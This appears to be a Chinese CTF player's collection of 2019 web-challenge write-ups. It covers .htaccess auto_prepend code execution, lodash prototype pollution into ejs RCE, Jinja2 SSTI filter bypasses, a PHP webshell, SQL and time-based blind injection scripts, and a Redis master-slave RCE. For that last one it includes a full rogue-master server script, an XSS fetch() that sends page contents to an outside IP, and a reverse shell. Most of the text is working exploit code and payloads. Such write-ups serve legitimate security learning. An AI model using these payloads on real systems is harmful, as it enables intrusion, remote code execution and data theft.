List [CTL]
2019XNUCA
自闭比赛,24小时才成功签到
只有30+队伍做出了题,190+队伍光头orz
ezphp
<?php
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
include_once("fl3g.php");
if(!isset($_GET['content']) || !isset($_GET['filename'])) {
highlight_file(__FILE__);
die();
}
$content = $_GET['content'];
if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
echo "Hacker";
die();
}
$filename = $_GET['filename'];
if(preg_match("/[^a-z\.]/", $filename) == 1) {
echo "Hacker";
die();
}
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
file_put_contents($filename, $content . "\nJust one chance");
?>
题目通过php_admin_flag设置了只解析index.php
ServerAdmin webmaster@localhost
DocumentRoot /var/www/html
php_admin_flag engine off
<Location /index.php>
AllowOverride None
Require all grante
php_admin_flag engine on
</Location>
尝试写入.htaccess
修改解析规则但在content后附加了\nJust one chance
,由于htaccess的解析器解析错误而500,且htaccess没有多行注释
尝试后发现可使用\
来拼接后一行达到吃掉换行的目的
ErrorDocument 404 a\
Just one chance
但这里由于空格的存在还是会解析错误,所以使用双引号(双引号没闭合htaccess的解析引擎能正常推断)
ErrorDocument 404 "a\
Just one chance
然后通过prepend来包含htaccess自身,在双引号中添加PHP代码
一样通过反引号绕过字符限制,最终payload
php_value auto_prepend_fi\
le ".htaccess"
ErrorDocument 404 "<?php system('cat /root/fl[a]g.txt'); ?>\
Just one chance
import requests
url = 'http://1c79276efba8487ea2a79fb1ec248297c5e789d7f36e4a98.changame.ichunqiu.com/'
requests.get(url)
r = requests.get(url+'?filename=.htaccess&content=php_value%20auto_prepend_fi\%0Ale%20".htaccess"%0AErrorDocument%20404%20"<?php%20system(\'cat /root/fl[a]g.txt\');?>\\')
print(r.text)
hardjs
Express应用,看了一遍源码就知道是prototype原型链污染,猜测是RCE或者和MySQL交互,奈何不会做
通过node的package_lock找到lodash版本,找到一个CVE
https://snyk.io/vuln/SNYK-JS-LODASH-450202
但是当时卡在newContent[req.body.type] = [ req.body.content ]
这里强行包裹了array好像和POC不一样,本地测试了几次失败了以为得绕过这里。最后才知道locash.defaultsDeep
是会递归操作的
然后就是正常思路污染原型链,通过JSON可以污染到string或int或array等属性,所以需要找到一个eval动态执行的地方才能达到RCE,通过动态的模版库ejs
看源码找到一个拼接的地方,然后就可以注入代码了
payload:
{"type":"x","content":{"constructor": {"prototype": {"client": true,"escapeFunction": "1; return
process.env.FLAG"}}}
发包五次访问首页,触发defaultDeep,然后再访问模版渲染的地方也就是登录注册页即可get flag
(所以那个sandbox是干嘛用的)
第五空间大赛
体验极差的比赛,脑洞题+菜运维+破平台
空相
?id=1’
五叶
万能密码,脑洞,必须得select出admin那条数据
user=admin&password=1')||username like 'admin'-- -
空性
.swp文件泄露,简单审计,通过php://input绕过
?fname=php://filter
POST: whoami
来到后台文件上传,发现?file
参数包含了同目录一个文件,fuzz(脑洞)发现只能包含html文件,且需去掉后缀
上传一个html文件:<?php $f = $_GET[f]; $f($_GET[s]); ?>
,包含:?file=upload/xxxxxxxx
,成功getshell
六尘
正解,通过SSRF扫描端口,发现8080开了tomcat,title为apache tomcat 8.0.53
通过gopher攻击内网的struts2
非预期,log目录泄露了apache的access_log,直接访问flag页
2019护网杯
SSTI
忘记题目名是什么了,大概就是Jinja SSTI,过滤了d, _, lower, [, ], '
,因为没有_
和[]
,所以按常规方法无法访问到魔术属性,赛后sec wiki转了一篇文章
https://0day.work/jinja2-template-injection-filter-bypasses/amp/
通过Jinjs的过滤器来访问属性,这样就解决了过滤方括号的限制且可以任意拼接字符串
题目源码大概是这样
from flask import Flask, render_template, render_template_string, request
app = Flask(__name__)
@app.route("/")
def index():
exploit = request.args.get('code')
for w in ['d', '_', 'lower', "'", '[', ']']:
if w in exploit:
return w
rendered_template = "%s" %exploit
return render_template_string(rendered_template)
if __name__ == "__main__":
app.run(debug=True)
payload:
/?code={% set x,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11,c=request.args.x,request.args.a1,request.args.a2,request.args.a3,request.args.a4,request.args.a5,request.args.a6,request.args.a7,request.args.a8,request.args.a9,request.args.a10,request.args.a11,request.args.c %}
{{""|attr((x*2,a2,x*2)|join)|attr((x*2,a3,x*2)|join)|attr((x*2,a1,x*2)|join)(-1)|attr((x*2,a4,x*2)|join)()|attr((x*2,a1,x*2)|join)(54)|attr((x*2,a5,x*2)|join)|attr((a6,x,a7)|join)|attr((x*2,a1,x*2)|join)(a8)|attr(a9)|attr(a10)(c)|attr(a11)()}}&x=_&a1=getitem&a2=class&a3=mro&a4=subclasses&a5=init&a6=func&a7=globals&a8=linecache&a9=os&a10=popen&a11=read&c=whoami
也就是
"".__class__.__mro__[-1].__subclasses__()[54].__init__.func_globals['linecache'].os.popen('whoami').read()
byteCTF
Dot_Server_Prove
首发于先知社区 https://xz.aliyun.com/t/6312
没得图床,直接搬来了
访问/robots.txt
,下载parse文件
拖到IDA里一看函数名,发现是GO语言的二进制文件
strings一下发现一些奇怪的字符串
/var/log/nginx/dot.access.log
cat /tmp/test.txt | awk -F ' "' '{print $NF}' >> /tmp/data.txt ;echo '' > /tmp/test.txt
关于dot server,搜到这样一篇文章:https://www.cnblogs.com/yjf512/p/3773196.html,所以确定了服务器的用途
在题目源码中看到
var ajax = new XMLHttpRequest();
ajax.open('get','http://dot.whizard.com/123');
ajax.send();
ajax.onreadystatechange = function () {
}
修改hosts指向后访问,发现和文章描述一样,是个1*1
的gif
根据那条awk指令的用途,是处理nginx日志[空格]"
分割的最后一个字符,查了一下默认的nginx日志格式:
log_format main
'$remote_addr - $remote_user [$time_local] "$request" '
'$status $body_bytes_s ent "$http_referer" '
'"$http_user_agent" "$http_x_forwarded_for"'
然后开始Fuzz XFF头,猜测有两种攻击方式:
- SQLi时间盲注
- XSS
命令注入由于日志是逐行迭代处理所以不太可能
测试了半天也没有结果,然后放了hint是UA……
Fuzz了一下UA,发现是XSS盲打
发现Referer来自127.0.0.1:8080
访问8080端口:
fetch('http://127.0.0.1:8080').then(r=>r.text()).then(d=>{fetch('http://IP:9999/'+btoa(d))})
提示robots.txt
访问robots.txt有一个curl.php,访问后发现是一个没有防御的SSRF
尝试读本地文件,读了一堆没有发现Flag
然后根据Nginx猜测是攻击FPM,试了几次没有成功
然后试着扫一下端口和内网C段,通过Beef hook了题目主机,扫描了一下发现隔壁主机开着6379(没有截图,写WP时bot已经挂了)
未授权访问是肯定的,写Shell或Crontab感觉不太可能,所以联想到了Redis master-slave-sync的RCE,但是这里由于在内网只能通过Gopher协议访问
研究了一下Redis RCE脚本,发现是在本机模拟了文件同步操作的master服务器,然后向远程6379服务器发送了slave of 指令,接着通过主从复制传送了执行系统命令的.so
module,最后通过6379发送load module并执行命令
所以只需要在VPS上模拟master服务器,然后通过Gopher把发往6379的数据包打过去
监听VPS 9999端口的脚本
import socket
import sys
import struct
import re
payload = open('exp.so', 'r').read()
s = socket.socket()
s.setsockopt(socket.SOL_SOCKET, socket.SO_LINGER, struct.pack('ii', 1, 0))
s.bind(('0.0.0.0', 9999))
s.listen(5)
conn, addr = s.accept()
print(addr)
CLRF = '\r\n'
def dout(sock, msg):
verbose = 1
if type(msg) != bytes:
msg = msg.encode()
sock.send(msg)
if verbose:
if sys.version_info < (3, 0):
msg = repr(msg)
if len(msg) < 300:
print("\033[1;32;40m[<-]\033[0m {}".format(msg))
else:
print("\033[1;32;40m[<-]\033[0m {}......{}".format(msg[:80], msg[-80:]))
def handle(data):
resp = ""
phase = 0
if data.find("PING") > -1:
resp = "+PONG" + CLRF
phase = 1
elif data.find("REPLCONF") > -1:
resp = "+OK" + CLRF
phase = 2
elif data.find("PSYNC") > -1 or data.find("SYNC") > -1:
resp = "+FULLRESYNC " + "Z" * 40 + " 0" + CLRF
resp += "$" + str(len(payload)) + CLRF
resp = resp.encode()
resp += payload + CLRF.encode()
phase = 3
return resp, phase
def din(sock, cnt):
msg = sock.recv(cnt)
verbose = 1
if verbose:
if len(msg) < 300:
print("\033[1;34;40m[->]\033[0m {}".format(msg))
else:
print("\033[1;34;40m[->]\033[0m {}......{}".format(msg[:80], msg[-80:]))
if sys.version_info < (3, 0):
res = re.sub(r'[^\x00-\x7f]', r'', msg)
else:
res = re.sub(b'[^\x00-\x7f]', b'', msg)
return res.decode()
def exp():
try:
cli = conn
while True:
data = din(cli, 1024)
if len(data) == 0:
break
resp, phase = handle(data)
dout(cli, resp)
if phase == 3:
break
except Exception as e:
print("\033[1;31;m[-]\033[0m Error: {}, exit".format(e))
#cleanup(self._remote, self._file)
exit(0)
except KeyboardInterrupt:
print("[-] Exit..")
exit(0)
exp()
然后抓取redis-rce.py发往6379的包,修改其中主从复制回连和反弹shell的IP和端口
这里共抓取了三段流量,第一二段之间需要停顿3秒左右保证文件同步完成,通过XSS分三步发送
VPS上接收的同步请求:
接收到反弹的shell
第五空间线下决赛
时间太久记不清了,貌似就两道WEB,一道常规SSTI,一道order by注入。不让连外网没想起来order by field[,1]可以绕过,有点亏
主办方最窒息的操作是彩蛋题…
数字经济云安全大赛
gameapp
安卓模拟器设置fiddler代理抓包,选取30pts的得分数据包重放即可
import requests
url = 'http://121.40.219.183:9999'
#url = 'http://127.0.0.1:4444'
h = {
'Content-type': 'xxx',
'User-Agent': 'Dalvik/2.1.0 (Linux; U; Android 5.1.1; Nexus 6 Build/LYZ28N)',
}
s = requests.Session()
r = s.post(url+'/score/', data="""MISygCLch93NMojz/DaKAu88RkCQl2aTH/i0W0a3w0m1JBoEcr4YVuWdvb+hSSqWupieWqm0mDMb
BdtJ2TWFeorLJKuF5S5J31lzVqKxeoq2h7PGuFqKiwJVtvA6uIdzjOrmkElvnlTysjE3Y06HjCe1
x+T7s4zN0ahrEdOqC+8=\n""", headers=h, cookies={'session': 'eyJwbGF5ZXIiOiIzbmQiLCJzY29yZSI6Nn0.XYQ7uw.-CYaJsjiNdqnC4ni3Xmwb27vubw'})
for i in range(10000):
r = s.post(url+'/score/', data="""MISygCLch93NMojz/DaKAu88RkCQl2aTH/i0W0a3w0m1JBoEcr4YVuWdvb+hSSqWupieWqm0mDMb
BdtJ2TWFeorLJKuF5S5J31lzVqKxeoq2h7PGuFqKiwJVtvA6uIdzjOrmkElvnlTysjE3Y06HjCe1
x+T7s4zN0ahrEdOqC+8=\n""", headers=h)
print(r.text)
print(r.headers)
findme
二分,整数触发存在误差,二分结束后遍历-10~+10区间即可
import socket
addr = ('121.40.216.20', 9999)
#addr = ('127.0.0.1', 9999)
s = socket.socket()
s.connect(addr)
# random secret
sky = pow(2, 128)
# newground > 0 && newsky < 2^128 && newsky > newgound
newsky = sky - 1
newground = 1
step = (newsky - newground) / 3
g = 0
def solve_bin():
print('start solve binary')
ss = step
g1 = g
g2 = g1 + ss/2
for i in range(200):
if g1 == g2:
exp(g1)
print('g1: '+str(g1))
print('g2: '+str(g2))
s.recv(1024)
s.send(hex(newground)[2:].strip('L'))
s.recv(1024)
s.send(hex(newsky)[2:].strip('L'))
print(s.recv(64))
s.send(hex(g1)[2:].strip('L'))
print(s.recv(64))
s.send(hex(g2)[2:].strip('L'))
r = s.recv(64)
print(r)
ss /= 2
if r.strip('\n') == '1':
g2 = g1 + ss
else:
g1 = g2
g2 = g1 + ss
def exp(g):
g = g - 10
for i in range(20):
g += 1
s.recv(1024)
s.send(hex(newground)[2:].strip('L'))
s.recv(1024)
s.send(hex(newsky)[2:].strip('L'))
print(g)
s.recv(64)
s.send(hex(g)[2:].strip('L'))
s.recv(64)
s.send(hex(g)[2:].strip('L'))
r = s.recv(64)
if 'flag' in r:
print r
exit()
for i in range(200):
print s.recv(1024)
print hex(newground)[2:].strip('L')
s.send(hex(newground)[2:].strip('L'))
print s.recv(1024)
print hex(newsky)[2:].strip('L')
s.send(hex(newsky)[2:].strip('L'))
print(s.recv(64))
g1 = g
s.send(hex(g1)[2:].strip('L'))
print(s.recv(64))
g2 = g + step
s.send(hex(g2)[2:].strip('L'))
r = s.recv(64)
print(r)
if r.strip('\n') == '1':
# in the middle
solve_bin()
else:
g += step
CUMTCTF2019 Final
签到题
seed=0e1
hash=QNKCDZO
SQL注入
基础无列名注入
/list.php?id=-1%27%20uniunionon%20(seleselectct%201,2,c%20from(selselectect%201,2%20c%20ununionion%20seselectlect%20*%20from%20f1ag1nit)b)limit%201,1--%20-
PHPSQL?
SQLite3二次+时间盲注
利用PCRE的回溯进行延时,利用二次注入修改commentsize进入不同if分支触发延时条件
二次注入点:
$comment = $_POST['comment'];
$sql = "select user from users where id = '".$this->userid."'";
$db = new Data_db();
@$ret = $db->querySingle($sql) or 0;
$db->close();
$username = $ret;
$email = $username."@ctf.com";
$sql = "UPDATE file SET email = '".addslashes_to_sqlite($email)."' where userid = ".$this->userid;
延时条件:
if(( $comment_size + $br_padding) > $max_comment_size)
{
//移除掉所有html标签
$comment = preg_replace('/(<.*>)+/','',$comment);
if(strlen($comment) > $max_comment_size)
{
return true;
}
else
{
$email = "admin@ctf.cn";
return true;
}
}
else
{
//只移除br标签
$comment = preg_replace('/(<(\/)?br>)+/','',$comment);
$email = "admin@ctf.cn";
return true;
}
if分支内存在*
的贪婪匹配,而else分支内只匹配3个字符
利用<><<<<<<<<<<<<<<<<<<<<<<<<<<<
使PCRE回溯延时
import requests
base = 'http://134.175.2.73:8000'
reg = base + '/index.php?action=register'
login = base + '/index.php?action=index'
comment = base + '/index.php?action=profile'
logout = base+'/index.php?action=logout'
flag = 'J:b'
for i in range(4, 6):
for w in 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()-_ []{}<>~`+=,.;:/?|':
s = requests.Session()
payload = f"',commentsize=(case when(substr((select code from admin limit 1),{i},1)='{w}') then 0 else 99999 end)--"
print(payload)
r = s.post(reg, data={
'username': payload,
'password': 'admin',
})
r = s.post(login, data={
'username': payload,
'password': 'admin',
})
try:
r = s.post(comment, data={
'comment': '<>'+ '<' * 90000,
'blog': 'sss',
'padding': '0',
}, timeout=5)
except:
flag += w
break
finally:
s.get(logout)
print(flag)
XSS_1
CSP允许加载pastebin.com/overwatch/
,需绕过路径限制
二次编码/overwatch/../raw/xxxxx
http://120.78.164.84:49099/9bfaf0c2/?name=https://pastebin.com/overwatch%252F..%252Fraw/TwueyDBm
XSS_2
过滤%2F
,编码2和f绕过
http://120.78.164.84:49099/4f6cd853/?name=https://pastebin.com/overwatch%25%32%46..%25%32%46raw/TwueyDBm
成功alert,但没flag,出题人说非预期换种思路
换种思路,根据三种解析器顺序,实体编码
http://120.78.164.84:49099/4f6cd853/?name=https://pastebin.com/overwatch%26%2337;%26%2350;%26%2370;..%26%2337;%26%2350;%26%2370;raw/TwueyDBm
再次alert,还是没flag…??
出题人说考点是&percnt
???
http://120.78.164.84:49099/4f6cd853/?name=https://pastebin.com/overwatch%26percnt;2f..%26percnt;2fraw/TwueyDBm
数字经济云安全线下决赛
RealWorld
两道题都挺简单,水了个一血,不细说了
Qclound
可以下划线代替空格绕WAF…? 青云的WAF是真的nb
也可HPP绕(看别的师傅还有超长前置参数)
后端是SQLite数据库
JDyun
脑洞题,莫名其妙
token提示length错误,需永真式绕
然后从数据库里取出字符串当作PHP函数执行
?cmd=submitcmd&token=111'or'1&command='union select 1,2,'get_defined_functions
有一个get_lower_flag函数,调用即得flag
Aliyun
这题是初赛的原题,当时被人删库就下线了,结果到了决赛挂了个阿里云WAF重新上线(初赛还有提示set/prepare不能同时出现,决赛啥都没,服了)
阿里云WAF祭出--%0A
大法绕,最后还是堆叠+预编译思路(和强网杯一样),通过select into 替代setselect 0xFFFF into @a;prepare s from @a
2019 3CTF
上午理论拿了个1st place,之后的解题就很难受了
misc什么的就不说了
WEB有点摸不着头脑,不过赛后看了WP,题目质量还是不错的,但时间太短了,这种题目给个36小时是差不多的(当天还和巅峰极客冲了)
WP见https://www.anquanke.com/post/id/189634
2019姑苏区天创杯
拿了个2nd place,这个比赛貌似是苏州市人才选拔活动月的打头项目,其实个人而言对极光无限还是挺感兴趣的
CTF
很多原题,还不让外网,1.25小时一共15道题是真的nb,特别吐槽论剑场小饼干那道题,有点想笑
靶机渗透
第一台就是常规的扫端口,扫目录
获取源码从web.xml获取MSSQL密码,远程连接后启用xp_cmdshell,然后传mimikatz抓密码,开3389,socks5代理出来,上去后最后一个key是管理员桌面上我的电脑的重命名…
第二台扫出5321开放web服务,文件上传fuzz出[space][space]"
绕过….赛后问的主办方,搞不懂哦,后面就是常规传马提权
2019慕测安恒杯预选赛
基本ak,大都是水题或原题,除了去年卖给安恒那道HHKB(貌似没放出来过?)说实话这题是当时水稿费的,题目略带脑洞,不过知识点还是很简单的,简单FUZZ就能出
WP就不写了,按安恒去年的套路大概之后的系列赛还会放这些原题